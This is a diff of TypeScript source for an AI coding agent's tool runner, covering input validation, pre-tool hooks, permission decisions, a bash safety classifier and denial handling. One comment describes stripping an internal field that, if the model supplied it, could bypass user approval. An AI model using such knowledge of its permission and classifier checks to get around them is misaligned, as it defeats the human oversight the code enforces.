+      return behavior === 'allow' ? 'user_temporary' : 'user_reject'
+    case 'localSettings':
+    case 'userSettings':
+      return behavior === 'allow' ? 'user_permanent' : 'user_reject'
+    default:
+      return 'config'
+  }
+}
+
+/**
+ * Map a PermissionDecisionReason to the OTel `source` label for the
+ * non-interactive tool_decision path, staying within the documented
+ * vocabulary (config, hook, user_permanent, user_temporary, user_reject).
+ *
+ * For permissionPromptTool, the SDK host may set decisionClassification on
+ * the PermissionResult to tell us exactly what happened (once vs always vs
+ * cache hit — the host knows, we can't tell from {behavior:'allow'} alone).
+ * Without it, we fall back conservatively: allow → user_temporary,
+ * deny → user_reject.
+ */
+function decisionReasonToOTelSource(
+  reason: PermissionDecisionReason | undefined,
+  behavior: 'allow' | 'deny',
+): string {
+  if (!reason) {
+    return 'config'
+  }
+  switch (reason.type) {
+    case 'permissionPromptTool': {
+      // toolResult is typed `unknown` on PermissionDecisionReason but carries
+      // the parsed Output from PermissionPromptToolResultSchema. Narrow at
+      // runtime rather than widen the cross-file type.
+      const toolResult = reason.toolResult as
+        | { decisionClassification?: string }
+        | undefined
+      const classified = toolResult?.decisionClassification
+      if (
+        classified === 'user_temporary' ||
+        classified === 'user_permanent' ||
+        classified === 'user_reject'
+      ) {
+        return classified
+      }
+      return behavior === 'allow' ? 'user_temporary' : 'user_reject'
+    }
+    case 'rule':
+      return ruleSourceToOTelSource(reason.rule.source, behavior)
+    case 'hook':
+      return 'hook'
+    case 'mode':
+    case 'classifier':
+    case 'subcommandResults':
+    case 'asyncAgent':
+    case 'sandboxOverride':
+    case 'workingDir':
+    case 'safetyCheck':
+    case 'other':
+      return 'config'
+    default: {
+      const _exhaustive: never = reason
+      return 'config'
+    }
+  }
+}
+
+function getNextImagePasteId(messages: Message[]): number {
+  let maxId = 0
+  for (const message of messages) {
+    if (message.type === 'user' && message.imagePasteIds) {
+      for (const id of message.imagePasteIds) {
+        if (id > maxId) maxId = id
+      }
+    }
+  }
+  return maxId + 1
+}
+
+export type MessageUpdateLazy<M extends Message = Message> = {
+  message: M
+  contextModifier?: {
+    toolUseID: string
+    modifyContext: (context: ToolUseContext) => ToolUseContext
+  }
+}
+
+export type McpServerType =
+  | 'stdio'
+  | 'sse'
+  | 'http'
+  | 'ws'
+  | 'sdk'
+  | 'sse-ide'
+  | 'ws-ide'
+  | 'claudeai-proxy'
+  | undefined
+
+function findMcpServerConnection(
+  toolName: string,
+  mcpClients: MCPServerConnection[],
+): MCPServerConnection | undefined {
+  if (!toolName.startsWith('mcp__')) {
+    return undefined
+  }
+
+  const mcpInfo = mcpInfoFromString(toolName)
+  if (!mcpInfo) {
+    return undefined
+  }
+
+  // mcpInfo.serverName is normalized (e.g., "claude_ai_Slack"), but client.name
+  // is the original name (e.g., "claude.ai Slack"). Normalize both for comparison.
+  return mcpClients.find(
+    client => normalizeNameForMCP(client.name) === mcpInfo.serverName,
+  )
+}
+
+/**
+ * Extracts the MCP server transport type from a tool name.
+ * Returns the server type (stdio, sse, http, ws, sdk, etc.) for MCP tools,
+ * or undefined for built-in tools.
+ */
+function getMcpServerType(
+  toolName: string,
+  mcpClients: MCPServerConnection[],
+): McpServerType {
+  const serverConnection = findMcpServerConnection(toolName, mcpClients)
+
+  if (serverConnection?.type === 'connected') {
+    // Handle stdio configs where type field is optional (defaults to 'stdio')
+    return serverConnection.config.type ?? 'stdio'
+  }
+
+  return undefined
+}
+
+/**
+ * Extracts the MCP server base URL for a tool by looking up its server connection.
+ * Returns undefined for stdio servers, built-in tools, or if the server is not connected.
+ */
+function getMcpServerBaseUrlFromToolName(
+  toolName: string,
+  mcpClients: MCPServerConnection[],
+): string | undefined {
+  const serverConnection = findMcpServerConnection(toolName, mcpClients)
+  if (serverConnection?.type !== 'connected') {
+    return undefined
+  }
+  return getLoggingSafeMcpBaseUrl(serverConnection.config)
+}
+
+export async function* runToolUse(
+  toolUse: ToolUseBlock,
+  assistantMessage: AssistantMessage,
+  canUseTool: CanUseToolFn,
+  toolUseContext: ToolUseContext,
+): AsyncGenerator<MessageUpdateLazy, void> {
+  const toolName = toolUse.name
+  // First try to find in the available tools (what the model sees)
+  let tool = findToolByName(toolUseContext.options.tools, toolName)
+
+  // If not found, check if it's a deprecated tool being called by alias
+  // (e.g., old transcripts calling "KillShell" which is now an alias for "TaskStop")
+  // Only fall back for tools where the name matches an alias, not the primary name
+  if (!tool) {
+    const fallbackTool = findToolByName(getAllBaseTools(), toolName)
+    // Only use fallback if the tool was found via alias (deprecated name)
+    if (fallbackTool && fallbackTool.aliases?.includes(toolName)) {
+      tool = fallbackTool
+    }
+  }
+  const messageId = assistantMessage.message.id
+  const requestId = assistantMessage.requestId
+  const mcpServerType = getMcpServerType(
+    toolName,
+    toolUseContext.options.mcpClients,
+  )
+  const mcpServerBaseUrl = getMcpServerBaseUrlFromToolName(
+    toolName,
+    toolUseContext.options.mcpClients,
+  )
+
+  // Check if the tool exists
+  if (!tool) {
+    const sanitizedToolName = sanitizeToolNameForAnalytics(toolName)
+    logForDebugging(`Unknown tool ${toolName}: ${toolUse.id}`)
+    logEvent('tengu_tool_use_error', {
+      error:
+        `No such tool available: ${sanitizedToolName}` as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      toolName: sanitizedToolName,
+      toolUseID:
+        toolUse.id as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      isMcp: toolName.startsWith('mcp__'),
+      queryChainId: toolUseContext.queryTracking
+        ?.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      queryDepth: toolUseContext.queryTracking?.depth,
+      ...(mcpServerType && {
+        mcpServerType:
+          mcpServerType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(mcpServerBaseUrl && {
+        mcpServerBaseUrl:
+          mcpServerBaseUrl as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(requestId && {
+        requestId:
+          requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...mcpToolDetailsForAnalytics(toolName, mcpServerType, mcpServerBaseUrl),
+    })
+    yield {
+      message: createUserMessage({
+        content: [
+          {
+            type: 'tool_result',
+            content: `<tool_use_error>Error: No such tool available: ${toolName}</tool_use_error>`,
+            is_error: true,
+            tool_use_id: toolUse.id,
+          },
+        ],
+        toolUseResult: `Error: No such tool available: ${toolName}`,
+        sourceToolAssistantUUID: assistantMessage.uuid,
+      }),
+    }
+    return
+  }
+
+  const toolInput = toolUse.input as { [key: string]: string }
+  try {
+    if (toolUseContext.abortController.signal.aborted) {
+      logEvent('tengu_tool_use_cancelled', {
+        toolName: sanitizeToolNameForAnalytics(tool.name),
+        toolUseID:
+          toolUse.id as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        isMcp: tool.isMcp ?? false,
+
+        queryChainId: toolUseContext.queryTracking
+          ?.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        queryDepth: toolUseContext.queryTracking?.depth,
+        ...(mcpServerType && {
+          mcpServerType:
+            mcpServerType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+        ...(mcpServerBaseUrl && {
+          mcpServerBaseUrl:
+            mcpServerBaseUrl as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+        ...(requestId && {
+          requestId:
+            requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+        ...mcpToolDetailsForAnalytics(
+          tool.name,
+          mcpServerType,
+          mcpServerBaseUrl,
+        ),
+      })
+      const content = createToolResultStopMessage(toolUse.id)
+      content.content = withMemoryCorrectionHint(CANCEL_MESSAGE)
+      yield {
+        message: createUserMessage({
+          content: [content],
+          toolUseResult: CANCEL_MESSAGE,
+          sourceToolAssistantUUID: assistantMessage.uuid,
+        }),
+      }
+      return
+    }
+
+    for await (const update of streamedCheckPermissionsAndCallTool(
+      tool,
+      toolUse.id,
+      toolInput,
+      toolUseContext,
+      canUseTool,
+      assistantMessage,
+      messageId,
+      requestId,
+      mcpServerType,
+      mcpServerBaseUrl,
+    )) {
+      yield update
+    }
+  } catch (error) {
+    logError(error)
+    const errorMessage = error instanceof Error ? error.message : String(error)
+    const toolInfo = tool ? ` (${tool.name})` : ''
+    const detailedError = `Error calling tool${toolInfo}: ${errorMessage}`
+
+    yield {
+      message: createUserMessage({
+        content: [
+          {
+            type: 'tool_result',
+            content: `<tool_use_error>${detailedError}</tool_use_error>`,
+            is_error: true,
+            tool_use_id: toolUse.id,
+          },
+        ],
+        toolUseResult: detailedError,
+        sourceToolAssistantUUID: assistantMessage.uuid,
+      }),
+    }
+  }
+}
+
+function streamedCheckPermissionsAndCallTool(
+  tool: Tool,
+  toolUseID: string,
+  input: { [key: string]: boolean | string | number },
+  toolUseContext: ToolUseContext,
+  canUseTool: CanUseToolFn,
+  assistantMessage: AssistantMessage,
+  messageId: string,
+  requestId: string | undefined,
+  mcpServerType: McpServerType,
+  mcpServerBaseUrl: ReturnType<typeof getLoggingSafeMcpBaseUrl>,
+): AsyncIterable<MessageUpdateLazy> {
+  // This is a bit of a hack to get progress events and final results
+  // into a single async iterable.
+  //
+  // Ideally the progress reporting and tool call reporting would
+  // be via separate mechanisms.
+  const stream = new Stream<MessageUpdateLazy>()
+  checkPermissionsAndCallTool(
+    tool,
+    toolUseID,
+    input,
+    toolUseContext,
+    canUseTool,
+    assistantMessage,
+    messageId,
+    requestId,
+    mcpServerType,
+    mcpServerBaseUrl,
+    progress => {
+      logEvent('tengu_tool_use_progress', {
+        messageID:
+          messageId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        toolName: sanitizeToolNameForAnalytics(tool.name),
+        isMcp: tool.isMcp ?? false,
+
+        queryChainId: toolUseContext.queryTracking
+          ?.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        queryDepth: toolUseContext.queryTracking?.depth,
+        ...(mcpServerType && {
+          mcpServerType:
+            mcpServerType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+        ...(mcpServerBaseUrl && {
+          mcpServerBaseUrl:
+            mcpServerBaseUrl as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+        ...(requestId && {
+          requestId:
+            requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+        ...mcpToolDetailsForAnalytics(
+          tool.name,
+          mcpServerType,
+          mcpServerBaseUrl,
+        ),
+      })
+      stream.enqueue({
+        message: createProgressMessage({
+          toolUseID: progress.toolUseID,
+          parentToolUseID: toolUseID,
+          data: progress.data,
+        }),
+      })
+    },
+  )
+    .then(results => {
+      for (const result of results) {
+        stream.enqueue(result)
+      }
+    })
+    .catch(error => {
+      stream.error(error)
+    })
+    .finally(() => {
+      stream.done()
+    })
+  return stream
+}
+
+/**
+ * Appended to Zod errors when a deferred tool wasn't in the discovered-tool
+ * set — re-runs the claude.ts schema-filter scan dispatch-time to detect the
+ * mismatch. The raw Zod error ("expected array, got string") doesn't tell the
+ * model to re-load the tool; this hint does. Null if the schema was sent.
+ */
+export function buildSchemaNotSentHint(
+  tool: Tool,
+  messages: Message[],
+  tools: readonly { name: string }[],
+): string | null {
+  // Optimistic gating — reconstructing claude.ts's full useToolSearch
+  // computation is fragile. These two gates prevent pointing at a ToolSearch
+  // that isn't callable; occasional misfires (Haiku, tst-auto below threshold)
+  // cost one extra round-trip on an already-failing path.
+  if (!isToolSearchEnabledOptimistic()) return null
+  if (!isToolSearchToolAvailable(tools)) return null
+  if (!isDeferredTool(tool)) return null
+  const discovered = extractDiscoveredToolNames(messages)
+  if (discovered.has(tool.name)) return null
+  return (
+    `\n\nThis tool's schema was not sent to the API — it was not in the discovered-tool set derived from message history. ` +
+    `Without the schema in your prompt, typed parameters (arrays, numbers, booleans) get emitted as strings and the client-side parser rejects them. ` +
+    `Load the tool first: call ${TOOL_SEARCH_TOOL_NAME} with query "select:${tool.name}", then retry this call.`
+  )
+}
+
+async function checkPermissionsAndCallTool(
+  tool: Tool,
+  toolUseID: string,
+  input: { [key: string]: boolean | string | number },
+  toolUseContext: ToolUseContext,
+  canUseTool: CanUseToolFn,
+  assistantMessage: AssistantMessage,
+  messageId: string,
+  requestId: string | undefined,
+  mcpServerType: McpServerType,
+  mcpServerBaseUrl: ReturnType<typeof getLoggingSafeMcpBaseUrl>,
+  onToolProgress: (
+    progress: ToolProgress<ToolProgressData> | ProgressMessage<HookProgress>,
+  ) => void,
+): Promise<MessageUpdateLazy[]> {
+  // Validate input types with zod (surprisingly, the model is not great at generating valid input)
+  const parsedInput = tool.inputSchema.safeParse(input)
+  if (!parsedInput.success) {
+    let errorContent = formatZodValidationError(tool.name, parsedInput.error)
+
+    const schemaHint = buildSchemaNotSentHint(
+      tool,
+      toolUseContext.messages,
+      toolUseContext.options.tools,
+    )
+    if (schemaHint) {
+      logEvent('tengu_deferred_tool_schema_not_sent', {
+        toolName: sanitizeToolNameForAnalytics(tool.name),
+        isMcp: tool.isMcp ?? false,
+      })
+      errorContent += schemaHint
+    }
+
+    logForDebugging(
+      `${tool.name} tool input error: ${errorContent.slice(0, 200)}`,
+    )
+    logEvent('tengu_tool_use_error', {
+      error:
+        'InputValidationError' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      errorDetails: errorContent.slice(
+        0,
+        2000,
+      ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      messageID:
+        messageId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      toolName: sanitizeToolNameForAnalytics(tool.name),
+      isMcp: tool.isMcp ?? false,
+
+      queryChainId: toolUseContext.queryTracking
+        ?.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      queryDepth: toolUseContext.queryTracking?.depth,
+      ...(mcpServerType && {
+        mcpServerType:
+          mcpServerType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(mcpServerBaseUrl && {
+        mcpServerBaseUrl:
+          mcpServerBaseUrl as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(requestId && {
+        requestId:
+          requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...mcpToolDetailsForAnalytics(tool.name, mcpServerType, mcpServerBaseUrl),
+    })
+    return [
+      {
+        message: createUserMessage({
+          content: [
+            {
+              type: 'tool_result',
+              content: `<tool_use_error>InputValidationError: ${errorContent}</tool_use_error>`,
+              is_error: true,
+              tool_use_id: toolUseID,
+            },
+          ],
+          toolUseResult: `InputValidationError: ${parsedInput.error.message}`,
+          sourceToolAssistantUUID: assistantMessage.uuid,
+        }),
+      },
+    ]
+  }
+
+  // Validate input values. Each tool has its own validation logic
+  const isValidCall = await tool.validateInput?.(
+    parsedInput.data,
+    toolUseContext,
+  )
+  if (isValidCall?.result === false) {
+    logForDebugging(
+      `${tool.name} tool validation error: ${isValidCall.message?.slice(0, 200)}`,
+    )
+    logEvent('tengu_tool_use_error', {
+      messageID:
+        messageId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      toolName: sanitizeToolNameForAnalytics(tool.name),
+      error:
+        isValidCall.message as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      errorCode: isValidCall.errorCode,
+      isMcp: tool.isMcp ?? false,
+
+      queryChainId: toolUseContext.queryTracking
+        ?.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      queryDepth: toolUseContext.queryTracking?.depth,
+      ...(mcpServerType && {
+        mcpServerType:
+          mcpServerType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(mcpServerBaseUrl && {
+        mcpServerBaseUrl:
+          mcpServerBaseUrl as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(requestId && {
+        requestId:
+          requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...mcpToolDetailsForAnalytics(tool.name, mcpServerType, mcpServerBaseUrl),
+    })
+    return [
+      {
+        message: createUserMessage({
+          content: [
+            {
+              type: 'tool_result',
+              content: `<tool_use_error>${isValidCall.message}</tool_use_error>`,
+              is_error: true,
+              tool_use_id: toolUseID,
+            },
+          ],
+          toolUseResult: `Error: ${isValidCall.message}`,
+          sourceToolAssistantUUID: assistantMessage.uuid,
+        }),
+      },
+    ]
+  }
+  // Speculatively start the bash allow classifier check early so it runs in
+  // parallel with pre-tool hooks, deny/ask classifiers, and permission dialog
+  // setup. The UI indicator (setClassifierChecking) is NOT set here — it's
+  // set in interactiveHandler.ts only when the permission check returns `ask`
+  // with a pendingClassifierCheck. This avoids flashing "classifier running"
+  // for commands that auto-allow via prefix rules.
+  if (
+    tool.name === BASH_TOOL_NAME &&
+    parsedInput.data &&
+    'command' in parsedInput.data
+  ) {
+    const appState = toolUseContext.getAppState()
+    startSpeculativeClassifierCheck(
+      (parsedInput.data as BashToolInput).command,
+      appState.toolPermissionContext,
+      toolUseContext.abortController.signal,
+      toolUseContext.options.isNonInteractiveSession,
+    )
+  }
+
+  const resultingMessages = []
+
+  // Defense-in-depth: strip _simulatedSedEdit from model-provided Bash input.
+  // This field is internal-only — it must only be injected by the permission
+  // system (SedEditPermissionRequest) after user approval. If the model supplies
+  // it, the schema's strictObject should already reject it, but we strip here
+  // as a safeguard against future regressions.
+  let processedInput = parsedInput.data
+  if (
+    tool.name === BASH_TOOL_NAME &&
+    processedInput &&
+    typeof processedInput === 'object' &&
+    '_simulatedSedEdit' in processedInput
+  ) {
+    const { _simulatedSedEdit: _, ...rest } =
+      processedInput as typeof processedInput & {
+        _simulatedSedEdit: unknown
+      }
+    processedInput = rest as typeof processedInput
+  }
+
+  // Backfill legacy/derived fields on a shallow clone so hooks/canUseTool see
+  // them without affecting tool.call(). SendMessageTool adds fields; file
+  // tools overwrite file_path with expandPath — that mutation must not reach
+  // call() because tool results embed the input path verbatim (e.g. "File
+  // created successfully at: {path}"), and changing it alters the serialized
+  // transcript and VCR fixture hashes. If a hook/permission later returns a
+  // fresh updatedInput, callInput converges on it below — that replacement
+  // is intentional and should reach call().
+  let callInput = processedInput
+  const backfilledClone =
+    tool.backfillObservableInput &&
+    typeof processedInput === 'object' &&
+    processedInput !== null
+      ? ({ ...processedInput } as typeof processedInput)
+      : null
+  if (backfilledClone) {
+    tool.backfillObservableInput!(backfilledClone as Record<string, unknown>)
+    processedInput = backfilledClone
+  }
+
+  let shouldPreventContinuation = false
+  let stopReason: string | undefined
+  let hookPermissionResult: PermissionResult | undefined
+  const preToolHookInfos: StopHookInfo[] = []
+  const preToolHookStart = Date.now()
+  for await (const result of runPreToolUseHooks(
+    toolUseContext,
+    tool,
+    processedInput,
+    toolUseID,
+    assistantMessage.message.id,
+    requestId,
+    mcpServerType,
+    mcpServerBaseUrl,
+  )) {
+    switch (result.type) {
+      case 'message':
+        if (result.message.message.type === 'progress') {
+          onToolProgress(result.message.message)
+        } else {
+          resultingMessages.push(result.message)
+          const att = result.message.message.attachment
+          if (
+            att &&
+            'command' in att &&
+            att.command !== undefined &&
+            'durationMs' in att &&
+            att.durationMs !== undefined
+          ) {
+            preToolHookInfos.push({
+              command: att.command,
+              durationMs: att.durationMs,
+            })
+          }
+        }
+        break
+      case 'hookPermissionResult':
+        hookPermissionResult = result.hookPermissionResult
+        break
+      case 'hookUpdatedInput':
+        // Hook provided updatedInput without making a permission decision (passthrough)
+        // Update processedInput so it's used in the normal permission flow
+        processedInput = result.updatedInput
+        break
+      case 'preventContinuation':
+        shouldPreventContinuation = result.shouldPreventContinuation
+        break
+      case 'stopReason':
+        stopReason = result.stopReason
+        break
+      case 'additionalContext':
+        resultingMessages.push(result.message)
+        break
+      case 'stop':
+        getStatsStore()?.observe(
+          'pre_tool_hook_duration_ms',
+          Date.now() - preToolHookStart,
+        )
+        resultingMessages.push({
+          message: createUserMessage({
+            content: [createToolResultStopMessage(toolUseID)],
+            toolUseResult: `Error: ${stopReason}`,
+            sourceToolAssistantUUID: assistantMessage.uuid,
+          }),
+        })
+        return resultingMessages
+    }
+  }
+  const preToolHookDurationMs = Date.now() - preToolHookStart
+  getStatsStore()?.observe('pre_tool_hook_duration_ms', preToolHookDurationMs)
+  if (preToolHookDurationMs >= SLOW_PHASE_LOG_THRESHOLD_MS) {
+    logForDebugging(
+      `Slow PreToolUse hooks: ${preToolHookDurationMs}ms for ${tool.name} (${preToolHookInfos.length} hooks)`,
+      { level: 'info' },
+    )
+  }
+
+  // Emit PreToolUse summary immediately so it's visible while the tool executes.
+  // Use wall-clock time (not sum of individual durations) since hooks run in parallel.
+  if (process.env.USER_TYPE === 'ant' && preToolHookInfos.length > 0) {
+    if (preToolHookDurationMs > HOOK_TIMING_DISPLAY_THRESHOLD_MS) {
+      resultingMessages.push({
+        message: createStopHookSummaryMessage(
+          preToolHookInfos.length,
+          preToolHookInfos,
+          [],
+          false,
+          undefined,
+          false,
+          'suggestion',
+          undefined,
+          'PreToolUse',
+          preToolHookDurationMs,
+        ),
+      })
+    }
+  }
+
+  const toolAttributes: Record<string, string | number | boolean> = {}
+  if (processedInput && typeof processedInput === 'object') {
+    if (tool.name === FILE_READ_TOOL_NAME && 'file_path' in processedInput) {
+      toolAttributes.file_path = String(processedInput.file_path)
+    } else if (
+      (tool.name === FILE_EDIT_TOOL_NAME ||
+        tool.name === FILE_WRITE_TOOL_NAME) &&
+      'file_path' in processedInput
+    ) {
+      toolAttributes.file_path = String(processedInput.file_path)
+    } else if (tool.name === BASH_TOOL_NAME && 'command' in processedInput) {
+      const bashInput = processedInput as BashToolInput
+      toolAttributes.full_command = bashInput.command
+    }
+  }
+
+  startToolSpan(
+    tool.name,
+    toolAttributes,
+    isBetaTracingEnabled() ? jsonStringify(processedInput) : undefined,
+  )
+  startToolBlockedOnUserSpan()
+
+  // Check whether we have permission to use the tool,
+  // and ask the user for permission if we don't
+  const permissionMode = toolUseContext.getAppState().toolPermissionContext.mode
+  const permissionStart = Date.now()
+
+  const resolved = await resolveHookPermissionDecision(
+    hookPermissionResult,
+    tool,
+    processedInput,
+    toolUseContext,
+    canUseTool,
+    assistantMessage,
+    toolUseID,
+  )
+  const permissionDecision = resolved.decision
+  processedInput = resolved.input
+  const permissionDurationMs = Date.now() - permissionStart
+  // In auto mode, canUseTool awaits the classifier (side_query) — if that's
+  // slow the collapsed view shows "Running…" with no (Ns) tick since
+  // bash_progress hasn't started yet. Auto-only: in default mode this timer
+  // includes interactive-dialog wait (user think time), which is just noise.
+  if (
+    permissionDurationMs >= SLOW_PHASE_LOG_THRESHOLD_MS &&
+    permissionMode === 'auto'
+  ) {
+    logForDebugging(
+      `Slow permission decision: ${permissionDurationMs}ms for ${tool.name} ` +
+        `(mode=${permissionMode}, behavior=${permissionDecision.behavior})`,
+      { level: 'info' },
+    )
+  }
+
+  // Emit tool_decision OTel event and code-edit counter if the interactive
+  // permission path didn't already log it (headless mode bypasses permission
+  // logging, so we need to emit both the generic event and the code-edit
+  // counter here)
+  if (
+    permissionDecision.behavior !== 'ask' &&
+    !toolUseContext.toolDecisions?.has(toolUseID)
+  ) {
+    const decision =
+      permissionDecision.behavior === 'allow' ? 'accept' : 'reject'
+    const source = decisionReasonToOTelSource(
+      permissionDecision.decisionReason,
+      permissionDecision.behavior,
+    )
+    void logOTelEvent('tool_decision', {
+      decision,
+      source,
+      tool_name: sanitizeToolNameForAnalytics(tool.name),
+    })
+
+    // Increment code-edit tool decision counter for headless mode
+    if (isCodeEditingTool(tool.name)) {
+      void buildCodeEditToolAttributes(
+        tool,
+        processedInput,
+        decision,
+        source,
+      ).then(attributes => getCodeEditToolDecisionCounter()?.add(1, attributes))
+    }
+  }
+
+  // Add message if permission was granted/denied by PermissionRequest hook
+  if (
+    permissionDecision.decisionReason?.type === 'hook' &&
+    permissionDecision.decisionReason.hookName === 'PermissionRequest' &&
+    permissionDecision.behavior !== 'ask'
+  ) {
+    resultingMessages.push({
+      message: createAttachmentMessage({
+        type: 'hook_permission_decision',
+        decision: permissionDecision.behavior,
+        toolUseID,
+        hookEvent: 'PermissionRequest',
+      }),
+    })
+  }
+
+  if (permissionDecision.behavior !== 'allow') {
+    logForDebugging(`${tool.name} tool permission denied`)
+    const decisionInfo = toolUseContext.toolDecisions?.get(toolUseID)
+    endToolBlockedOnUserSpan('reject', decisionInfo?.source || 'unknown')
+    endToolSpan()
+
+    logEvent('tengu_tool_use_can_use_tool_rejected', {
+      messageID:
+        messageId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      toolName: sanitizeToolNameForAnalytics(tool.name),
+
+      queryChainId: toolUseContext.queryTracking
+        ?.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      queryDepth: toolUseContext.queryTracking?.depth,
+      ...(mcpServerType && {
+        mcpServerType:
+          mcpServerType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(mcpServerBaseUrl && {
+        mcpServerBaseUrl:
+          mcpServerBaseUrl as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(requestId && {
+        requestId:
+          requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...mcpToolDetailsForAnalytics(tool.name, mcpServerType, mcpServerBaseUrl),
+    })
+    let errorMessage = permissionDecision.message
+    // Only use generic "Execution stopped" message if we don't have a detailed hook message
+    if (shouldPreventContinuation && !errorMessage) {
+      errorMessage = `Execution stopped by PreToolUse hook${stopReason ? `: ${stopReason}` : ''}`
+    }
+
+    // Build top-level content: tool_result (text-only for is_error compatibility) + images alongside
+    const messageContent: ContentBlockParam[] = [
+      {
+        type: 'tool_result',
+        content: errorMessage,
+        is_error: true,
+        tool_use_id: toolUseID,
+      },
+    ]
+
+    // Add image blocks at top level (not inside tool_result, which rejects non-text with is_error)
+    const rejectContentBlocks =
+      permissionDecision.behavior === 'ask'
+        ? permissionDecision.contentBlocks
+        : undefined
+    if (rejectContentBlocks?.length) {
+      messageContent.push(...rejectContentBlocks)
+    }
+
+    // Generate sequential imagePasteIds so each image renders with a distinct label
+    let rejectImageIds: number[] | undefined
+    if (rejectContentBlocks?.length) {
+      const imageCount = count(
+        rejectContentBlocks,
+        (b: ContentBlockParam) => b.type === 'image',
+      )
+      if (imageCount > 0) {
+        const startId = getNextImagePasteId(toolUseContext.messages)
+        rejectImageIds = Array.from(
+          { length: imageCount },
+          (_, i) => startId + i,
+        )
+      }
+    }
+
+    resultingMessages.push({
+      message: createUserMessage({
+        content: messageContent,
+        imagePasteIds: rejectImageIds,
+        toolUseResult: `Error: ${errorMessage}`,
+        sourceToolAssistantUUID: assistantMessage.uuid,
+      }),
+    })
+
+    // Run PermissionDenied hooks for auto mode classifier denials.
+    // If a hook returns {retry: true}, tell the model it may retry.
+    if (
+      feature('TRANSCRIPT_CLASSIFIER') &&
+      permissionDecision.decisionReason?.type === 'classifier' &&
+      permissionDecision.decisionReason.classifier === 'auto-mode'
+    ) {
+      let hookSaysRetry = false
+      for await (const result of executePermissionDeniedHooks(
+        tool.name,
+        toolUseID,
+        processedInput,
+        permissionDecision.decisionReason.reason ?? 'Permission denied',
+        toolUseContext,
+        permissionMode,
+        toolUseContext.abortController.signal,
+      )) {
+        if (result.retry) hookSaysRetry = true
+      }
+      if (hookSaysRetry) {
+        resultingMessages.push({
+          message: createUserMessage({
+            content:
+              'The PermissionDenied hook indicated this command is now approved. You may retry it if you would like.',
+            isMeta: true,
+          }),
+        })
+      }
+    }
+
+    return resultingMessages
+  }
+  logEvent('tengu_tool_use_can_use_tool_allowed', {
+    messageID:
+      messageId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    toolName: sanitizeToolNameForAnalytics(tool.name),
+
+    queryChainId: toolUseContext.queryTracking
+      ?.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    queryDepth: toolUseContext.queryTracking?.depth,
+    ...(mcpServerType && {
+      mcpServerType:
+        mcpServerType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+    ...(mcpServerBaseUrl && {
+      mcpServerBaseUrl:
+        mcpServerBaseUrl as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+    ...(requestId && {
+      requestId:
+        requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    }),
+    ...mcpToolDetailsForAnalytics(tool.name, mcpServerType, mcpServerBaseUrl),
+  })
+
+  // Use the updated input from permissions if provided
